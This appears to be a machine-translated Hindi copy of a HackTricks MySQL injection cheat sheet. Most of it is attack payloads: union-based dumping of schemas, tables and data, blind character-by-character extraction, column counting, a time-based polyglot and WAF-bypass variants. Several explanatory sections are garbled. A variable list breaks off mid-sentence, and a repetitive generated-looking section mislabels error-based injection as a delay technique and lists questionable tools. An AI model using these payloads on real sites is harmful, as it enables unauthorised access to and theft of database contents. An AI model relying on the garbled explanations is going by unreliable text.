33 KiB
MySQL इंजेक्शन
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की इच्छा है? सदस्यता योजनाएं की जांच करें!
- The PEASS Family की खोज करें, हमारा विशेष NFT संग्रह।
- आधिकारिक PEASS & HackTricks swag प्राप्त करें।
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह में या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm।
- अपने हैकिंग ट्रिक्स को hacktricks रेपो और hacktricks-cloud रेपो में पीआर जमा करके साझा करें।
RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा इवेंट है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने की मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबलता हुआ मिलन स्थल है।
{% embed url="https://www.rootedcon.com/" %}
Comments
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
दिलचस्प फंक्शन
Mysql की पुष्टि करें:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
उपयोगी फ़ंक्शन्स
The following functions can be useful when performing MySQL injection:
version()
यह फ़ंक्शन MySQL सर्वर की संस्करण संख्या को प्रदर्शित करता है।
database()
यह फ़ंक्शन वर्तमान डेटाबेस का नाम प्रदर्शित करता है।
user()
यह फ़ंक्शन वर्तमान MySQL उपयोगकर्ता का नाम प्रदर्शित करता है।
current_user()
यह फ़ंक्शन वर्तमान MySQL उपयोगकर्ता का नाम प्रदर्शित करता है।
@@hostname
यह फ़ंक्शन MySQL सर्वर के होस्टनेम को प्रदर्शित करता है।
@@datadir
यह फ़ंक्शन MySQL डेटा डिरेक्टरी का पथ प्रदर्शित करता है।
@@basedir
यह फ़ंक्शन MySQL बेस डिरेक्टरी का पथ प्रदर्शित करता है।
@@tmpdir
यह फ़ंक्शन MySQL टेम्प डिरेक्टरी का पथ प्रदर्शित करता है।
@@secure_file_priv
यह फ़ंक्शन MySQL सुरक्षित फ़ाइल निजीलितता की स्थिति को प्रदर्शित करता है।
@@global.version_compile_os
यह फ़ंक्शन MySQL सर्वर के संस्करण कंपाइल ऑपरेटिंग सिस्टम को प्रदर्शित करता है।
@@global.have_ssl
यह फ़ंक्शन MySQL सर्वर के लिए SSL समर्थन की उपलब्धता को प्रदर्शित करता है।
@@global.super_read_only
यह फ़ंक्शन MySQL सर्वर के सुपर रीड ओनली सेटिंग को प्रदर्शित करता है।
@@global.log_output
यह फ़ंक्शन MySQL सर्वर के लॉग आउटपुट सेटिंग को प्रदर्शित करता है।
@@global.log_error
यह फ़ंक्शन MySQL सर्वर के त्रुटि लॉग फ़ाइल का पथ प्रदर्शित करता है।
@@global.log_warnings
यह फ़ंक्शन MySQL सर्वर के चेतावनियाँ लॉग करने की सेटिंग को प्रदर्शित करता है।
@@global.max_connections
यह फ़ंक्शन MySQL सर्वर के अधिकतम संयोजन संख्या को प्रदर्शित करता है।
@@global.max_user_connections
यह फ़ंक्शन MySQL सर्वर के एक उपयोगकर्ता के लिए अधिकतम संयोजन संख्या को प्रदर्शित करता है।
@@global.max_allowed_packet
यह फ़ंक्शन MySQL सर्वर के अधिकतम अनुमत पैकेट साइज़ को प्रदर्शित करता है।
@@global.wait_timeout
यह फ़ंक्शन MySQL सर्वर के वेट टाइमआउट सेटिंग को प्रदर्शित करता है।
@@global.interactive_timeout
यह फ़ंक्शन MySQL सर्वर के इंटरैक्टिव टाइमआउट सेटिंग को प्रदर्शित करता है।
@@global.sql_mode
यह फ़ंक्शन MySQL सर्वर के SQL मोड सेटिंग को प्रदर्शित करता है।
@@global.character_set_server
यह फ़ंक्शन MySQL सर्वर के वर्ण सेट सर्वर सेटिंग को प्रदर्शित करता है।
@@global.collation_server
यह फ़ंक्शन MySQL सर्वर के संकलन सर्वर सेटिंग को प्रदर्शित करता है।
@@global.innodb_version
यह फ़ंक्शन MySQL सर्वर के InnoDB संस्करण संख्या को प्रदर्शित करता है।
@@global.innodb_data_home_dir
यह फ़ंक्शन MySQL सर्वर के InnoDB डेटा होम डिरेक्टरी को प्रदर्शित करता है।
@@global.innodb_log_group_home_dir
यह फ़ंक्शन MySQL सर्वर के InnoDB लॉग ग्रुप होम डिरेक्टरी को प्रदर्शित करता है।
@@global.innodb_buffer_pool_size
यह फ़ंक्शन MySQL सर्वर के InnoDB बफ़र पूल साइज़ को प्रदर्शित करता है।
@@global.innodb_log_file_size
यह फ़ंक्शन MySQL सर्वर के InnoDB लॉग फ़ाइल साइज़ को प्रदर्शित करता है।
@@global.innodb_flush_log_at_trx_commit
यह फ़ंक्शन MySQL सर्वर के InnoDB लॉग फ़्लश सेटिंग को प्रदर्शित करता है।
@@global.innodb_file_per_table
यह फ़ंक्शन MySQL सर्वर के InnoDB फ़ाइल प्रति तालिका सेटिंग को प्रदर्शित करता है।
@@global.innodb_flush_method
यह फ़ंक्शन MySQL सर्वर के InnoDB फ़्लश मेथड सेटिंग को प्रदर्शित करता है।
@@global.innodb_support_xa
यह फ़ंक्शन MySQL सर्वर के InnoDB XA समर्थन की उपलब्धता को प्रदर्शित करता है।
@@global.innodb_stats_on_metadata
यह फ़ंक्शन MySQL सर्वर के InnoDB सांख्यिकी आधारित मेटाडेटा सेटिंग को प्रदर्शित करता है।
@@global.innodb_file_format
यह फ़ंक्शन MySQL सर्वर के InnoDB फ़ाइल प्रारूप सेटिंग को प्रदर्शित करता है।
@@global.innodb_open_files
यह फ़ंक्शन MySQL सर्वर के InnoDB खुली हुई फ़ाइलों की संख्या को प्रदर्शित करता है।
@@global.innodb_page_size
यह फ़ंक्शन MySQL सर्वर के InnoDB पेज साइज़ को प्रदर्शित करता है।
@@global.innodb_thread_concurrency
यह फ़ंक्शन MySQL सर्वर के InnoDB थ्रेड संयोजनता सेटिंग को प्रदर्शित करता है।
@@global.innodb_read_io_threads
यह फ़ंक्शन MySQL सर्वर के InnoDB पठन आईओ थ्रेड संख्या को प्रदर्शित करता है।
@@global.innodb_write_io_threads
यह फ़ंक्शन MySQL सर्वर के InnoDB लेखन आईओ थ्रेड संख्या को प्रदर्शित करता है।
@@global.innodb_io_capacity
यह फ़ंक्शन MySQL सर्वर के InnoDB आईओ क्षमता सेटिंग को प्रदर्शित करता है।
@@global.innodb_io_capacity_max
यह फ़ंक्शन MySQL सर्वर के InnoDB अधिकतम आईओ क्षमता सेटिंग को प्रदर्शित करता है।
@@global.innodb_flush_neighbors
यह फ़ंक्शन MySQL सर्वर के InnoDB फ़्लश नेबर्स सेटिंग को प्रदर्शित करता है।
@@global.innodb_adaptive_hash_index
यह फ़ंक्शन MySQL सर्वर के InnoDB एडाप्टिव हैश इंडेक्स सेटिंग को प्रदर्शित करता है।
@@global.innodb_lock_wait_timeout
यह फ़ंक्शन MySQL सर्वर के InnoDB लॉक वेट टाइमआउट सेटिंग को प्रदर्शित करता है।
@@global.innodb_rollback_on_timeout
यह फ़ंक्शन MySQL सर्वर के InnoDB टाइमआउट पर रोलबैक सेटिंग को प्रदर्शित करता है।
@@global.innodb_stats_sample_pages
यह फ़ंक्शन MySQL सर्वर के InnoDB सांख्यिकी नमूना पृष्ठ सेटिंग को प्रदर्शित करता है।
@@global.innodb_autoinc_lock_mode
यह फ़ंक्शन MySQL सर्वर के InnoDB ऑटोइंक्रीमेंट लॉक मोड सेटिंग को प्रदर्शित करता है।
@@global.innodb_ft_enable_stopword
यह फ़ंक्शन MySQL सर्वर के InnoDB फ़ुलटेक्स्ट स्टॉपवर्ड सेटिंग को प्रदर्शित करता है।
@@global.innodb_ft_server_stopword_table
यह फ़ंक्शन MySQL सर्वर के InnoDB फ़ुलटेक्स्ट सर्वर स्टॉपवर्ड तालिका सेटिंग को प्रदर्शित करता है।
@@global.innodb_ft_user_stopword_table
यह फ़ंक्शन MySQL सर्वर के InnoDB फ़ुलटेक्स्ट उपयोगकर्ता स्टॉपवर्ड तालिका सेटिंग को प्रदर्शित करता है।
@@global.innodb_ft_min_token_size
यह फ़ंक्शन MySQL सर्वर के InnoDB फ़ुलटेक्स्ट न्यूनतम टोकन साइज़ सेटिंग को प्रदर्शित करता है।
@@global.innodb_ft_max_token_size
यह फ़ंक्शन MySQL सर्वर के InnoDB फ़ुलटेक्स्ट अधिकतम टोकन साइज़ सेटिंग को
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
सभी इंजेक्शन
MySQL Injection
विषय
- MySQL इंजेक्शन क्या है?
- MySQL इंजेक्शन के प्रकार
- MySQL इंजेक्शन के लिए उपयोगी फंक्शन
- MySQL इंजेक्शन के लिए उपयोगी ट्रिक्स
- MySQL इंजेक्शन के लिए उपयोगी टूल्स
- MySQL इंजेक्शन के उदाहरण
- MySQL इंजेक्शन के लिए उपयोगी लिंक्स
MySQL इंजेक्शन क्या है?
MySQL इंजेक्शन एक सुरक्षा गड़बड़ी है जो MySQL डेटाबेस पर आधारित वेब ऐप्लिकेशन में पायी जाती है। यह एक प्रकार का SQL इंजेक्शन है जिसमें हम अवैध SQL संग्रहों का उपयोग करके डेटाबेस को अवांछित तरीके से प्रभावित करते हैं। यह हमें अनधिकृत डेटा तक पहुंचने और डेटाबेस की सामग्री को पढ़ने और संशोधित करने की अनुमति देता है।
MySQL इंजेक्शन के प्रकार
MySQL इंजेक्शन कई प्रकार की हो सकती हैं, जैसे:
- एकल पंक्ति इंजेक्शन: इसमें हम एकल पंक्ति को प्रभावित करते हैं, जिससे हमें डेटाबेस की सामग्री को पढ़ने और संशोधित करने की अनुमति मिलती है।
- बहु पंक्ति इंजेक्शन: इसमें हम बहु पंक्तियों को प्रभावित करते हैं, जिससे हमें डेटाबेस की सामग्री को पढ़ने और संशोधित करने की अनुमति मिलती है।
- एकल और बहु पंक्ति इंजेक्शन: इसमें हम एकल और बहु पंक्तियों को प्रभावित करते हैं, जिससे हमें डेटाबेस की सामग्री को पढ़ने और संशोधित करने की अनुमति मिलती है।
MySQL इंजेक्शन के लिए उपयोगी फंक्शन
MySQL इंजेक्शन के लिए निम्नलिखित फंक्शन उपयोगी हो सकते हैं:
- version(): यह फंक्शन MySQL सर्वर की संस्करण संख्या वापस करता है।
- database(): यह फंक्शन वर्तमान डेटाबेस का नाम वापस करता है।
- user(): यह फंक्शन वर्तमान MySQL उपयोगकर्ता का नाम वापस करता है।
- current_user(): यह फंक्शन वर्तमान MySQL उपयोगकर्ता का नाम और होस्ट वापस करता है।
- @@hostname: यह फंक्शन MySQL सर्वर के होस्टनेम को वापस करता है।
MySQL इंजेक्शन के लिए उपयोगी ट्रिक्स
MySQL इंजेक्शन के लिए निम्नलिखित ट्रिक्स उपयोगी हो सकती हैं:
- टाइम बेस्ड ब्लाइंड इंजेक्शन: इसमें हम एक अनुरोध को लंबा करके एक देरी उत्पन्न करते हैं, जिससे हमें डेटाबेस की सामग्री को पढ़ने और संशोधित करने की अनुमति मिलती है।
- एरर बेस्ड ब्लाइंड इंजेक्शन: इसमें हम एक अनुरोध को लंबा करके एक देरी उत्पन्न करते हैं, जिससे हमें डेटाबेस की सामग्री को पढ़ने और संशोधित करने की अनुमति मिलती है।
- एकल और बहु पंक्ति इंजेक्शन के लिए यूजर अगरेगेशन: इसमें हम एकल और बहु पंक्तियों को प्रभावित करते हैं, जिससे हमें डेटाबेस की सामग्री को पढ़ने और संशोधित करने की अनुमति मिलती है।
MySQL इंजेक्शन के लिए उपयोगी टूल्स
MySQL इंजेक्शन के लिए निम्नलिखित टूल्स उपयोगी हो सकते हैं:
- SQLMap: यह एक ऑटोमेटेड SQL इंजेक्शन और डेटाबेस पेनटेस्टिंग टूल है।
- SQLNinja: यह एक ऑटोमेटेड SQL इंजेक्शन और डेटाबेस पेनटेस्टिंग टूल है।
- SQLMate: यह एक ऑटोमेटेड SQL इंजेक्शन और डेटाबेस पेनटेस्टिंग टूल है।
MySQL इंजेक्शन के उदाहरण
MySQL इंजेक्शन के निम्नलिखित उदाहरण देखें:
SELECT * FROM users WHERE username = 'admin' AND password = 'password'
यहां, यदि हमें उपयोगकर्ता "admin" का पासवर्ड जानना है, तो हम निम्नलिखित इंजेक्शन का उपयोग कर सकते हैं:
SELECT * FROM users WHERE username = 'admin' AND password = 'password' OR '1'='1'
इसके परिणामस्वरूप, यह अवैध शर्त सत्य होगी और हमें सभी उपयोगकर्ताओं की जानकारी मिलेगी।
MySQL इंजेक्शन के लिए उपयोगी लिंक्स
MySQL इंजेक्शन के लिए निम्नलिखित उपयोगी लिंक्स देखें:
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
फ़्लो
ध्यान दें कि "आधुनिक" MySQL के संस्करणों में आप "information_schema.tables" को "mysql.innodb_table_stats" के लिए प्रतिस्थापित कर सकते हैं (यह WAFs को छलने के लिए उपयोगी हो सकता है)।
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
केवल 1 मान
group_concat()
Limit X,1
एक-एक करके अंधा
substr(version(),X,1)='r'
याsubstring(version(),X,1)=0x70
याascii(substr(version(),X,1))=112
mid(version(),X,1)='5'
अंधा जोड़ना
LPAD(version(),1...lenght(version()),'1')='asd'...
RPAD(version(),1...lenght(version()),'1')='asd'...
SELECT RIGHT(version(),1...lenght(version()))='asd'...
SELECT LEFT(version(),1...lenght(version()))='asd'...
SELECT INSTR('foobarbar', 'fo...')=1
स्तंभों की संख्या का पता लगाएं
एक सरल आदेश का उपयोग करके
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा कार्यक्रम है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने की मिशन के साथ, यह सम्मेलन प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबलता हुआ मिलन स्थान है।
{% embed url="https://www.rootedcon.com/" %}
MySQL यूनियन आधारित
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
एक Mysql इंजेक्शन का उपयोग करके SSRF प्राप्त करने के लिए यहां विभिन्न विकल्प सीखें।
WAF बाईपास ट्रिक्स
Information_schema के विकल्प
ध्यान दें कि "आधुनिक" MySQL के संस्करणों में आप information_schema.tables को mysql.innodb_table_stats या sys.x$schema_flattened_keys या sys.schema_table_statistics के लिए बदल सकते हैं
COMMAS के बिना MySQL इंजेक्शन
कोई कॉमा उपयोग किए बिना 2 स्तंभों का चयन करें (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
स्तंभ के नाम के बिना मानों को प्राप्त करना
यदि किसी समय आपको तालिका का नाम पता होता है लेकिन आपको तालिका में स्तंभों का नाम पता नहीं होता है, तो आप कोशिश कर सकते हैं कि आप पता लगाएं कि तालिका में कितने स्तंभ हैं, इसके लिए निम्नलिखित को कार्यान्वित करके:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
मान लीजिए कि दो स्तंभ हैं (पहला स्तंभ ID है और दूसरा स्तंभ झंडा है), आप झंडे की सामग्री को ब्रूटफोर्स करने के लिए प्रयास कर सकते हैं, एक अक्षर के बाद अक्षर की कोशिश करके।
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
अधिक जानकारी https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952 में उपलब्ध है।
MySQL इतिहास
आप MySQL के भीतर अन्य निष्पादनों को देख सकते हैं जो तालिका: sys.x$statement_analysis को पढ़कर होते हैं।
संस्करण विकल्प
mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31 |
+------------------+
mysql> select @@version;
+-------------------------+
| @@version |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
mysql> mysql> select version();
+-------------------------+
| version() |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा कार्यक्रम है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने की मिशन के साथ, यह सम्मेलन प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबलता हुआ मिलन स्थान है।
{% embed url="https://www.rootedcon.com/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित करना चाहते हैं? या क्या आपको PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की इच्छा है? सदस्यता योजनाएं की जांच करें!
- खोजें The PEASS Family, हमारा विशेष संग्रह NFTs
- प्राप्त करें आधिकारिक PEASS & HackTricks swag
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स को hacktricks रेपो और hacktricks-cloud रेपो में पीआर जमा करके साझा करें।